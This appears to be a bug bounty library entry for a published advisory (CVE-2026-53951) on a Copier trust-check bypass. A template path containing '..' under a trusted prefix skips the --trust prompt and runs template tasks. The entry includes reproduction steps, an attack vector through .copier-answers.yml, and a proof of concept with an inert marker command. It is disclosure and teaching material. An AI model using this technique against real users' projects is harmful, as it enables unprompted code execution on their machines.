# Copier has a trust-prefix bypass via path traversal that runs tasks unprompted

Copier's trust-prefix check used raw str.startswith without path normalization, so a template URL with '..' under a trusted prefix resolved elsewhere and ran tasks unprompted.

- Payout: Research
- Severity: high
- Program: Copier
- Found by: seankohjs
- Disclosed: 2026-08-19
- CVE: CVE-2026-53951
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9gmc-jqmh-3rvm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9gmc-jqmh-3rvm
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:parser-differential technique:source-review vuln:auth-bypass vuln:path-traversal vuln:rce

**Target:** Python CLI template trust check (copier/_settings.py) and unsafe-feature gate
**Root cause:** is_trusted_repository compares the raw template URL against trusted prefixes with str.startswith, while _normalize only expands '~' and never collapses '..'; the URL is normalized later at fetch time (Path.resolve / libcurl dot-segment removal), so the trusted string and the loaded template differ.
**Steps:**
1. Configure a trusted prefix entry ending in '/', e.g. `/tmp/x/trusted_templates/`.
2. Point the template source at `<trusted_prefix>/../attacker/evil_template` (or `https://github.com/trusted-org/../attacker-org/repo.git`).
3. Run `copier copy --pretend <src> <dst>`: canonical path exits 4 (UnsafeTemplateError), traversal path exits 0 and reaches the task.
4. Run without --pretend (or `--prove-exec`): the template's `tasks` execute, e.g. `echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF`, creating the marker file with no --trust prompt.
**How found:** Noticed the trust comparison used raw str.startswith with a _normalize that only expands '~', then observed an in-repo asymmetry: every other security decision (_render_template, template_copy_root, _external_data) uses Path.resolve() plus is_relative_to, but the trust check does not. Hypothesized that a '..' segment would pass the prefix test yet resolve elsewhere.
**Exploitation:** Attacker controls the template URL, most realistically via `_src_path` in a project's `.copier-answers.yml` that the victim runs `copier update` on. The URL textually starts with the victim's trusted prefix but contains `..`, so the trust gate returns early and the attacker-hosted template's tasks/migrations/jinja_extensions run arbitrary commands without the --trust prompt.
**Escalation:** Chained trust-grant bypass (CWE-22) into code injection (CWE-94) via template tasks; works for both local paths and https since git/libcurl normalize dot segments before the request.
**Insight:** When a security check compares strings but the sink later normalizes them (Path.resolve, libcurl dot-segment removal, URL parsers), the check is bypassable with '..' or equivalent. Grep for startswith/endswith prefix allowlists and check whether the same value is normalized downstream; the asymmetry with sibling code that does resolve() is the tell.

## Proof of concept (copied exactly from the original report)

**Traversal template path bypassing trust prefix**

```
exploit src (traversal)      : /tmp/copier_trust_poc_XXXX/trusted_templates/../attacker/evil_template
  both resolve to the SAME dir : True
  exploit startswith trusted/  : True
  minimal delta                : exploit = '/tmp/copier_trust_poc_XXXX/trusted_templates/..' + '/attacker/evil_template'
```

**PoC build and run commands**

```
python -m venv venv && . venv/bin/activate
pip install "copier==9.15.1"
python poc.py                # static proof (default)
python poc.py --prove-exec   # also fire the inert marker
```

**Task executed via trusted template**

```
|  > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF

== VERDICT ==
  BYPASS CONFIRMED: identical template is refused by canonical path
  (exit 4) yet granted trust via '<trusted>/..' traversal (exit 0),
  so its tasks run with no --trust prompt.

== --prove-exec: running the exploit for real (inert marker) ==
  | COPIER-TRUST-BYPASS-RCE-MARKER
  |  > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF
  exit=0  marker file 'COPIER_RCE_PROOF' created: True
```

